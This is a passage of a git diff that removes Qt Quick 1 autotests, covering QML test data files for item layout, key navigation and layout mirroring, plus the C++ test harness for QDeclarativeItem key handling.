QVector v; - for (int i = 0; i < 10000; i++) - v.prepend(i); //do some computation - QImage image(50,50, QImage::Format_RGB32); - image.fill(QColor(id).rgb()); - if (size) - *size = image.size(); - if (requestedSize.isValid()) - image = image.scaled(requestedSize); - return image; - } - - QWaitCondition cond; - QMutex mutex; - bool ok; -}; - - -void tst_qdeclarativeimageprovider::threadTest() -{ - QDeclarativeEngine engine; - - TestThreadProvider *provider = new TestThreadProvider; - - engine.addImageProvider("test_thread", provider); - QVERIFY(engine.imageProvider("test_thread") != 0); - - QString componentStr = "import QtQuick 1.0\nItem { \n" - "Image { source: \"image://test_thread/blue\"; asynchronous: true; }\n" - "Image { source: \"image://test_thread/red\"; asynchronous: true; }\n" - "Image { source: \"image://test_thread/green\"; asynchronous: true; }\n" - "Image { source: \"image://test_thread/yellow\"; asynchronous: true; }\n" - " }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QObject *obj = component.create(); - //MUST not deadlock - QVERIFY(obj != 0); - QList images = obj->findChildren(); - QCOMPARE(images.count(), 4); - QTest::qWait(100); - foreach(QDeclarative1Image *img, images) { - QCOMPARE(img->status(), QDeclarative1Image::Loading); - } - provider->ok = true; - provider->cond.wakeAll(); - QTest::qWait(250); - foreach(QDeclarative1Image *img, images) { - QTRY_VERIFY(img->status() == QDeclarative1Image::Ready); - } -} - - -QTEST_MAIN(tst_qdeclarativeimageprovider) - -#include "tst_qdeclarativeimageprovider.moc" diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/childrenProperty.qml b/tests/auto/qtquick1/qdeclarativeitem/data/childrenProperty.qml deleted file mode 100644 index fab2367504..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/childrenProperty.qml +++ /dev/null @@ -1,14 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root - - property bool test1: root.children.length == 3 - property bool test2: root.children[0] == item1 - property bool test3: root.children[1] == item2 - property bool test4: root.children[2] == item3 - property bool test5: root.children[3] == null - - children: [ Item { id: item1 }, Item { id: item2 }, Item { id: item3 } ] -} - diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRect.qml b/tests/auto/qtquick1/qdeclarativeitem/data/childrenRect.qml deleted file mode 100644 index 84f362fe16..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRect.qml +++ /dev/null @@ -1,27 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 400 - - property int childCount: 0; - - Item { - objectName: "testItem" - width: childrenRect.width - height: childrenRect.height - - Repeater { - id: repeater - model: childCount - delegate: Rectangle { - x: index*10 - y: index*20 - width: 10 - height: 20 - - color: "red" - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug.qml b/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug.qml deleted file mode 100644 index 2ab73a1ff6..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400 - height: 200 - - Item { - objectName: "theItem" - anchors.centerIn: parent - width: childrenRect.width - height: childrenRect.height - Rectangle { - id: text1 - anchors.verticalCenter: parent.verticalCenter - width: 100; height: 100; color: "green" - } - Rectangle { - anchors.left: text1.right - anchors.verticalCenter: parent.verticalCenter - width: 100; height: 100; color: "green" - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug2.qml b/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug2.qml deleted file mode 100644 index d67ad0e3d8..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug2.qml +++ /dev/null @@ -1,53 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width:360; - height: 200 - - Item { - objectName: "theItem" - anchors.centerIn: parent - width: childrenRect.width - height: childrenRect.height - Rectangle { - id: header1 - anchors.horizontalCenter: parent.horizontalCenter - anchors.top: parent.top - width: 100; height: 50 - color: "green" - } - Rectangle { - id: text1 - anchors.top: header1.bottom - anchors.topMargin: 10 - anchors.horizontalCenter: parent.horizontalCenter - width: 100; height: 50 - color: "blue" - } - } - - states: [ - State { - name: "row" - AnchorChanges { - target: header1 - anchors.horizontalCenter: undefined - anchors.verticalCenter: parent.verticalCenter - anchors.left: parent.left - anchors.top: undefined - } - AnchorChanges { - target: text1 - anchors.horizontalCenter: undefined - anchors.verticalCenter: parent.verticalCenter - anchors.top: undefined - anchors.left: header1.right - } - PropertyChanges { - target: text1 - anchors.leftMargin: 10 - anchors.topMargin: 0 - } - } - ] -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug3.qml b/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug3.qml deleted file mode 100644 index 9d8e1e863a..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/childrenRectBug3.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 300 - height: 300 - - Rectangle { - height: childrenRect.height - - Repeater { - model: 1 - Rectangle { } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/implicitsize.qml b/tests/auto/qtquick1/qdeclarativeitem/data/implicitsize.qml deleted file mode 100644 index 869c0fcec6..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/implicitsize.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.1 - -Item { - implicitWidth: 200 - implicitHeight: 100 - - width: 80 - height: 60 - - function resetSize() { - width = undefined - height = undefined - } - - function changeImplicit() { - implicitWidth = 150 - implicitHeight = 80 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/keynavigationtest.qml b/tests/auto/qtquick1/qdeclarativeitem/data/keynavigationtest.qml deleted file mode 100644 index f614a12e30..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/keynavigationtest.qml +++ /dev/null @@ -1,87 +0,0 @@ -import QtQuick 1.0 - -Grid { - columns: 2 - width: 100; height: 100 - function verify() { - if (item1.KeyNavigation.right != item2) - return false; - if (item1.KeyNavigation.down != item3) - return false; - if (item1.KeyNavigation.tab != item2) - return false; - if (item1.KeyNavigation.backtab != item4) - return false; - - if (item2.KeyNavigation.left != item1) - return false; - if (item2.KeyNavigation.down != item4) - return false; - if (item2.KeyNavigation.tab != item3) - return false; - if (item2.KeyNavigation.backtab != item1) - return false; - - if (item3.KeyNavigation.right != item4) - return false; - if (item3.KeyNavigation.up != item1) - return false; - if (item3.KeyNavigation.tab != item4) - return false; - if (item3.KeyNavigation.backtab != item2) - return false; - - if (item4.KeyNavigation.left != item3) - return false; - if (item4.KeyNavigation.up != item2) - return false; - if (item4.KeyNavigation.tab != item1) - return false; - if (item4.KeyNavigation.backtab != item3) - return false; - - return true; - } - - Rectangle { - id: item1 - objectName: "item1" - focus: true - width: 50; height: 50 - color: focus ? "red" : "lightgray" - KeyNavigation.right: item2 - KeyNavigation.down: item3 - KeyNavigation.tab: item2 - KeyNavigation.backtab: item4 - } - Rectangle { - id: item2 - objectName: "item2" - width: 50; height: 50 - color: focus ? "red" : "lightgray" - KeyNavigation.left: item1 - KeyNavigation.down: item4 - KeyNavigation.tab: item3 - KeyNavigation.backtab: item1 - } - Rectangle { - id: item3 - objectName: "item3" - width: 50; height: 50 - color: focus ? "red" : "lightgray" - KeyNavigation.right: item4 - KeyNavigation.up: item1 - KeyNavigation.tab: item4 - KeyNavigation.backtab: item2 - } - Rectangle { - id: item4 - objectName: "item4" - width: 50; height: 50 - color: focus ? "red" : "lightgray" - KeyNavigation.left: item3 - KeyNavigation.up: item2 - KeyNavigation.tab: item1 - KeyNavigation.backtab: item3 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/keynavigationtest_implicit.qml b/tests/auto/qtquick1/qdeclarativeitem/data/keynavigationtest_implicit.qml deleted file mode 100644 index 52ffaea0ec..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/keynavigationtest_implicit.qml +++ /dev/null @@ -1,68 +0,0 @@ -import QtQuick 1.0 - -Grid { - columns: 2 - width: 100; height: 100 - function verify() { - if (item1.KeyNavigation.tab != item2) - return false; - if (item1.KeyNavigation.backtab != item4) - return false; - - if (item2.KeyNavigation.left != item1) - return false; - if (item2.KeyNavigation.down != item4) - return false; - if (item2.KeyNavigation.tab != item3) - return false; - if (item2.KeyNavigation.backtab != item1) - return false; - - if (item3.KeyNavigation.right != item4) - return false; - if (item3.KeyNavigation.up != item1) - return false; - if (item3.KeyNavigation.tab != item4) - return false; - if (item3.KeyNavigation.backtab != item2) - return false; - - return true; - } - - Rectangle { - id: item1 - objectName: "item1" - focus: true - width: 50; height: 50 - color: focus ? "red" : "lightgray" - KeyNavigation.tab: item2 - KeyNavigation.backtab: item4 - } - Rectangle { - id: item2 - objectName: "item2" - width: 50; height: 50 - color: focus ? "red" : "lightgray" - KeyNavigation.left: item1 - KeyNavigation.down: item4 - KeyNavigation.tab: item3 - KeyNavigation.backtab: item1 - } - Rectangle { - id: item3 - objectName: "item3" - width: 50; height: 50 - color: focus ? "red" : "lightgray" - KeyNavigation.right: item4 - KeyNavigation.up: item1 - KeyNavigation.tab: item4 - KeyNavigation.backtab: item2 - } - Rectangle { - id: item4 - objectName: "item4" - width: 50; height: 50 - color: focus ? "red" : "lightgray" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/keyspriority.qml b/tests/auto/qtquick1/qdeclarativeitem/data/keyspriority.qml deleted file mode 100644 index 375a6b61a5..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/keyspriority.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 -import Test 1.0 - -KeyTestItem { - focus: true - Keys.onPressed: keysTestObject.keyPress(event.key, event.text, event.modifiers) - Keys.onReleased: { keysTestObject.keyRelease(event.key, event.text, event.modifiers); event.accepted = true; } - Keys.priority: keysTestObject.processLast ? Keys.AfterItem : Keys.BeforeItem -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/keystest.qml b/tests/auto/qtquick1/qdeclarativeitem/data/keystest.qml deleted file mode 100644 index 9af6e9fb43..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/keystest.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Item { - focus: true - - property bool isEnabled: Keys.enabled - - Keys.onPressed: keysTestObject.keyPress(event.key, event.text, event.modifiers) - Keys.onReleased: { keysTestObject.keyRelease(event.key, event.text, event.modifiers); event.accepted = true; } - Keys.onReturnPressed: keysTestObject.keyPress(event.key, "Return", event.modifiers) - Keys.onDigit0Pressed: keysTestObject.keyPress(event.key, event.text, event.modifiers) - Keys.onDigit9Pressed: { event.accepted = false; keysTestObject.keyPress(event.key, event.text, event.modifiers) } - Keys.onTabPressed: keysTestObject.keyPress(event.key, "Tab", event.modifiers) - Keys.onBacktabPressed: keysTestObject.keyPress(event.key, "Backtab", event.modifiers) - Keys.forwardTo: [ item2 ] - Keys.enabled: enableKeyHanding - - Item { - id: item2 - visible: forwardeeVisible - Keys.onPressed: keysTestObject.forwardedKey(event.key) - Keys.onReleased: keysTestObject.forwardedKey(event.key) - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/layoutmirroring.qml b/tests/auto/qtquick1/qdeclarativeitem/data/layoutmirroring.qml deleted file mode 100644 index 866b615310..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/layoutmirroring.qml +++ /dev/null @@ -1,54 +0,0 @@ -import QtQuick 1.1 - -Item { - property bool childrenInherit: true - Item { - objectName: "mirrored1" - LayoutMirroring.enabled: true - LayoutMirroring.childrenInherit: parent.childrenInherit - Item { - Item { - objectName: "notMirrored1" - LayoutMirroring.enabled: false - Item { - objectName: "inheritedMirror1" - } - } - Item { - objectName: "inheritedMirror2" - } - } - } - Item { - objectName: "mirrored2" - LayoutMirroring.enabled: true - LayoutMirroring.childrenInherit: false - Item { - objectName: "notMirrored2" - } - } - Item { - LayoutMirroring.enabled: true - LayoutMirroring.childrenInherit: true - Loader { - id: loader - } - } - states: State { - name: "newContent" - PropertyChanges { - target: loader - sourceComponent: component - } - } - Component { - id: component - Item { - objectName: "notMirrored3" - LayoutMirroring.enabled: false - Item { - objectName: "inheritedMirror3" - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/mapCoordinates.qml b/tests/auto/qtquick1/qdeclarativeitem/data/mapCoordinates.qml deleted file mode 100644 index 48fb38da2b..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/mapCoordinates.qml +++ /dev/null @@ -1,43 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root; objectName: "root" - width: 200; height: 200 - - Item { id: itemA; objectName: "itemA"; x: 50; y: 50 } - - Item { - x: 50; y: 50 - Item { id: itemB; objectName: "itemB"; x: 100; y: 100 } - } - - function mapAToB(x, y) { - var pos = itemA.mapToItem(itemB, x, y) - return Qt.point(pos.x, pos.y) - } - - function mapAFromB(x, y) { - var pos = itemA.mapFromItem(itemB, x, y) - return Qt.point(pos.x, pos.y) - } - - function mapAToNull(x, y) { - var pos = itemA.mapToItem(null, x, y) - return Qt.point(pos.x, pos.y) - } - - function mapAFromNull(x, y) { - var pos = itemA.mapFromItem(null, x, y) - return Qt.point(pos.x, pos.y) - } - - function checkMapAToInvalid(x, y) { - var pos = itemA.mapToItem(1122, x, y) - return pos == undefined; - } - - function checkMapAFromInvalid(x, y) { - var pos = itemA.mapFromItem(1122, x, y) - return pos == undefined; - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/mouseFocus.qml b/tests/auto/qtquick1/qdeclarativeitem/data/mouseFocus.qml deleted file mode 100644 index afa5397a33..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/mouseFocus.qml +++ /dev/null @@ -1,20 +0,0 @@ -import QtQuick 1.0 - -QGraphicsWidget { - size: "200x100" - focusPolicy: QGraphicsWidget.ClickFocus - Item { - objectName: "declarativeItem" - id: item - width: 200 - height: 100 - MouseArea { - anchors.fill: parent - onPressed: { - if (!item.focus) { - item.focus = true; - } - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/propertychanges.qml b/tests/auto/qtquick1/qdeclarativeitem/data/propertychanges.qml deleted file mode 100644 index f1ea93349d..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/propertychanges.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Item { - Item { - objectName: "item" - } - Item { - objectName: "parentItem" - } -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/qtbug_16871.qml b/tests/auto/qtquick1/qdeclarativeitem/data/qtbug_16871.qml deleted file mode 100644 index 8102df165c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/qtbug_16871.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Item { - children: [ 10 ] -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/resourcesProperty.qml b/tests/auto/qtquick1/qdeclarativeitem/data/resourcesProperty.qml deleted file mode 100644 index e82cd029ad..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/resourcesProperty.qml +++ /dev/null @@ -1,21 +0,0 @@ -import QtQuick 1.0 - -Item { - id: root - - property bool test1 - property bool test2 - property bool test3 - property bool test4 - property bool test5 - - Component.onCompleted: { - test1 = (root.resources.length >= 3) - test2 = root.resources[0] == item1 - test3 = root.resources[1] == item2 - test4 = root.resources[2] == item3 - test5 = root.resources[10] == null - } - - resources: [ Item { id: item1 }, Item { id: item2 }, Item { id: item3 } ] -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/data/transformCrash.qml b/tests/auto/qtquick1/qdeclarativeitem/data/transformCrash.qml deleted file mode 100644 index 35c1a9ab42..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/data/transformCrash.qml +++ /dev/null @@ -1,13 +0,0 @@ -import QtQuick 1.0 - -Item { - id: wrapper - width: 200 - height: 200 - - QtObject { - id: object - } - - Component.onCompleted: wrapper.transform = object -} diff --git a/tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro b/tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro deleted file mode 100644 index 8663c69ea4..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro +++ /dev/null @@ -1,12 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeitem -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeitem.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib -contains(QT_CONFIG,xcb):CONFIG+=insignificant_test # QTBUG-21012 fails on exit (X11-specific) diff --git a/tests/auto/qtquick1/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/qtquick1/qdeclarativeitem/tst_qdeclarativeitem.cpp deleted file mode 100644 index 14368be001..0000000000 --- a/tests/auto/qtquick1/qdeclarativeitem/tst_qdeclarativeitem.cpp +++ /dev/null @@ -1,1376 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_QDeclarativeItem : public QObject -{ - Q_OBJECT -public: - tst_QDeclarativeItem(); - -private slots: - void initTestCase(); - void keys(); - void keysProcessingOrder(); - void keyNavigation(); - void keyNavigation_RightToLeft(); - void keyNavigation_skipNotVisible(); - void keyNavigation_implicitSetting(); - void layoutMirroring(); - void layoutMirroringIllegalParent(); - void smooth(); - void clip(); - void mapCoordinates(); - void mapCoordinates_data(); - void propertyChanges(); - void transforms(); - void transforms_data(); - void childrenRect(); - void childrenRectBug(); - void childrenRectBug2(); - void childrenRectBug3(); - - void childrenProperty(); - void resourcesProperty(); - void mouseFocus(); - - void transformCrash(); - void implicitSize(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - void qtbug_16871(); - void qtbug_21045(); -private: - QDeclarativeEngine engine; -}; - -template -T *findItem(QGraphicsObject *parent, const QString &objectName) -{ - if (!parent) - return 0; - - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->QGraphicsObject::children().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) - return static_cast(item); - item = findItem(item, objectName); - if (item) - return static_cast(item); - } - - return 0; -} - -class KeysTestObject : public QObject -{ - Q_OBJECT - - Q_PROPERTY(bool processLast READ processLast NOTIFY processLastChanged) - -public: - KeysTestObject() : mKey(0), mModifiers(0), mForwardedKey(0), mLast(false) {} - - void reset() { - mKey = 0; - mText = QString(); - mModifiers = 0; - mForwardedKey = 0; - } - - bool processLast() const { return mLast; } - void setProcessLast(bool b) { - if (b != mLast) { - mLast = b; - emit processLastChanged(); - } - } - -public slots: - void keyPress(int key, QString text, int modifiers) { - mKey = key; - mText = text; - mModifiers = modifiers; - } - void keyRelease(int key, QString text, int modifiers) { - mKey = key; - mText = text; - mModifiers = modifiers; - } - void forwardedKey(int key) { - mForwardedKey = key; - } - -signals: - void processLastChanged(); - -public: - int mKey; - QString mText; - int mModifiers; - int mForwardedKey; - bool mLast; - -private: -}; - -class KeyTestItem : public QDeclarativeItem -{ - Q_OBJECT -public: - KeyTestItem(QDeclarativeItem *parent=0) : QDeclarativeItem(parent), mKey(0) {} - -protected: - void keyPressEvent(QKeyEvent *e) { - keyPressPreHandler(e); - if (e->isAccepted()) - return; - - mKey = e->key(); - - if (e->key() == Qt::Key_A) - e->accept(); - else - e->ignore(); - - if (!e->isAccepted()) - QDeclarativeItem::keyPressEvent(e); - } - - void keyReleaseEvent(QKeyEvent *e) { - keyReleasePreHandler(e); - - if (e->isAccepted()) - return; - - if (e->key() == Qt::Key_B) - e->accept(); - else - e->ignore(); - - if (!e->isAccepted()) - QDeclarativeItem::keyReleaseEvent(e); - } - -public: - int mKey; -}; - -QML_DECLARE_TYPE(KeyTestItem); - - -tst_QDeclarativeItem::tst_QDeclarativeItem() -{ -} - -void tst_QDeclarativeItem::initTestCase() -{ - qmlRegisterType("Test",1,0,"KeyTestItem"); -} - -void tst_QDeclarativeItem::keys() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - KeysTestObject *testObject = new KeysTestObject; - canvas->rootContext()->setContextProperty("keysTestObject", testObject); - - canvas->rootContext()->setContextProperty("enableKeyHanding", QVariant(true)); - canvas->rootContext()->setContextProperty("forwardeeVisible", QVariant(true)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keystest.qml")); - canvas->show(); - qApp->processEvents(); - - QEvent wa(QEvent::WindowActivate); - QApplication::sendEvent(canvas, &wa); - QFocusEvent fe(QEvent::FocusIn); - QApplication::sendEvent(canvas, &fe); - - QVERIFY(canvas->rootObject()); - QCOMPARE(canvas->rootObject()->property("isEnabled").toBool(), true); - - QKeyEvent key(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_A)); - QCOMPARE(testObject->mForwardedKey, int(Qt::Key_A)); - QCOMPARE(testObject->mText, QLatin1String("A")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(!key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyRelease, Qt::Key_A, Qt::ShiftModifier, "A", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_A)); - QCOMPARE(testObject->mForwardedKey, int(Qt::Key_A)); - QCOMPARE(testObject->mText, QLatin1String("A")); - QVERIFY(testObject->mModifiers == Qt::ShiftModifier); - QVERIFY(key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Return, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_Return)); - QCOMPARE(testObject->mForwardedKey, int(Qt::Key_Return)); - QCOMPARE(testObject->mText, QLatin1String("Return")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_0, Qt::NoModifier, "0", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_0)); - QCOMPARE(testObject->mForwardedKey, int(Qt::Key_0)); - QCOMPARE(testObject->mText, QLatin1String("0")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_9, Qt::NoModifier, "9", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_9)); - QCOMPARE(testObject->mForwardedKey, int(Qt::Key_9)); - QCOMPARE(testObject->mText, QLatin1String("9")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(!key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_Tab)); - QCOMPARE(testObject->mForwardedKey, int(Qt::Key_Tab)); - QCOMPARE(testObject->mText, QLatin1String("Tab")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_Backtab)); - QCOMPARE(testObject->mForwardedKey, int(Qt::Key_Backtab)); - QCOMPARE(testObject->mText, QLatin1String("Backtab")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(key.isAccepted()); - - testObject->reset(); - - canvas->rootContext()->setContextProperty("forwardeeVisible", QVariant(false)); - key = QKeyEvent(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_A)); - QCOMPARE(testObject->mForwardedKey, 0); - QCOMPARE(testObject->mText, QLatin1String("A")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(!key.isAccepted()); - - testObject->reset(); - - canvas->rootContext()->setContextProperty("enableKeyHanding", QVariant(false)); - QCOMPARE(canvas->rootObject()->property("isEnabled").toBool(), false); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Return, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, 0); - QVERIFY(!key.isAccepted()); - - canvas->rootContext()->setContextProperty("enableKeyHanding", QVariant(true)); - QCOMPARE(canvas->rootObject()->property("isEnabled").toBool(), true); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_Return, Qt::NoModifier, "", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_Return)); - QVERIFY(key.isAccepted()); - - delete canvas; - delete testObject; -} - -void tst_QDeclarativeItem::keysProcessingOrder() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - KeysTestObject *testObject = new KeysTestObject; - canvas->rootContext()->setContextProperty("keysTestObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keyspriority.qml")); - canvas->show(); - qApp->processEvents(); - - KeyTestItem *testItem = qobject_cast(canvas->rootObject()); - QVERIFY(testItem); - - QEvent wa(QEvent::WindowActivate); - QApplication::sendEvent(canvas, &wa); - QFocusEvent fe(QEvent::FocusIn); - QApplication::sendEvent(canvas, &fe); - - QKeyEvent key(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_A)); - QCOMPARE(testObject->mText, QLatin1String("A")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(key.isAccepted()); - - testObject->reset(); - - testObject->setProcessLast(true); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_A, Qt::NoModifier, "A", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, 0); - QVERIFY(key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyPress, Qt::Key_B, Qt::NoModifier, "B", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, int(Qt::Key_B)); - QCOMPARE(testObject->mText, QLatin1String("B")); - QVERIFY(testObject->mModifiers == Qt::NoModifier); - QVERIFY(!key.isAccepted()); - - testObject->reset(); - - key = QKeyEvent(QEvent::KeyRelease, Qt::Key_B, Qt::NoModifier, "B", false, 1); - QApplication::sendEvent(canvas, &key); - QCOMPARE(testObject->mKey, 0); - QVERIFY(key.isAccepted()); - - delete canvas; - delete testObject; -} - -QDeclarativeItemPrivate *childPrivate(QGraphicsObject *rootItem, const char * itemString) -{ - QDeclarativeItem *item = findItem(rootItem, QString(QLatin1String(itemString))); - QDeclarativeItemPrivate* itemPrivate = QDeclarativeItemPrivate::get(item); - return itemPrivate; -} - -QVariant childProperty(QGraphicsObject *rootItem, const char * itemString, const char * property) -{ - QDeclarativeItem *item = findItem(rootItem, QString(QLatin1String(itemString))); - return item->property(property); -} - -bool anchorsMirrored(QGraphicsObject *rootItem, const char * itemString) -{ - QDeclarativeItem *item = findItem(rootItem, QString(QLatin1String(itemString))); - QDeclarativeItemPrivate* itemPrivate = QDeclarativeItemPrivate::get(item); - return itemPrivate->anchors()->mirrored(); -} - -void tst_QDeclarativeItem::layoutMirroring() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/layoutmirroring.qml")); - canvas->show(); - - QDeclarativeItem *rootItem = qobject_cast(canvas->rootObject()); - QVERIFY(rootItem); - QDeclarativeItemPrivate *rootPrivate = QDeclarativeItemPrivate::get(rootItem); - QVERIFY(rootPrivate); - - QCOMPARE(childPrivate(rootItem, "mirrored1")->effectiveLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "mirrored2")->effectiveLayoutMirror, true); - QCOMPARE(childPrivate(rootItem, "notMirrored1")->effectiveLayoutMirror, false); - QCOMPARE(childPrivate(rootItem, "notMirrored2")->effectiveLayoutMirror, false); - 